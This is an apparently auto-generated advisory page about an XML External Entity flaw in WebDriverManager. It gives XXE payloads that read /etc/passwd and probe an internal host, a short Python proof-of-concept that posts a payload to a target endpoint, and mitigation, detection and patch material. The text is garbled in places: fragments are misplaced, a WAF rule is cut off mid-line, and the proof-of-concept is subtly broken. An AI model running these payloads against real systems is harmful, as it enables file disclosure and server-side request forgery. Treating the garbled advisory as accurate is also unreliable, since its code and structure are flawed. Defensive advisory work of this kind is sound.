Listen to this Post
How the CVE Works:
The vulnerability in BoniGarcia WebDriverManager (versions 1.0.0 to <6.1.0) stems from improper restriction of XML External Entity (XXE) processing. Attackers can exploit this flaw by injecting malicious XML entities into configuration files or network responses parsed by the library. When WebDriverManager processes XML input (e.g., driver configurations), it fails to disable external entity resolution, allowing attackers to:
– Read arbitrary local files via `file://` URIs.
– Trigger Server-Side Request Forgery (SSRF) via http://` entities.WebDriverManager.java
- Cause denial-of-service via recursive entity expansion ("Billion Laughs" attack).
The vulnerable component resides in, where XML parsing occurs without secure flags like `DISALLOW_DOCTYPE_DECL` or secure parsers like SAX withsetFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true)`.
DailyCVE Form:
Platform: WebDriverManager
Version: 1.0.0 to 6.0.0
Vulnerability: XXE
Severity: Critical
Date: May 14, 2025
What Undercode Say:
Exploitation:
1. Malicious XML Payload:
<!DOCTYPE exploit [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <config>&xxe;</config>
2. SSRF Attack:
<!DOCTYPE attack [<!ENTITY ssrf SYSTEM "http://internal-api.local">]>
Mitigation:
1. Upgrade: Use WebDriverManager >=6.1.0.
2. Secure XML Parsing:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
3. Input Validation: Sanitize XML inputs via regex or whitelists.
Detection:
1. Grep for Vulnerable Code:
grep -r "DocumentBuilderFactory" src/ --include=".java"
2. Dependency Check:
mvn org.owasp:dependency-check-maven:check
Exploit PoC (Python):
import requests
payload = """<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % exploit SYSTEM "file:///etc/passwd">]>"""
requests.post("https://target/api/config", data=payload, headers={"Content-Type": "application/xml"})
Log Analysis:
Monitor logs for:
- Repeated XML parsing errors.
- Unusual file access (
file://patterns).
WAF Rules:
Block requests containing:
– `Patch Diff:
- DocumentBuilderFactory.newInstance(); + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
References:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
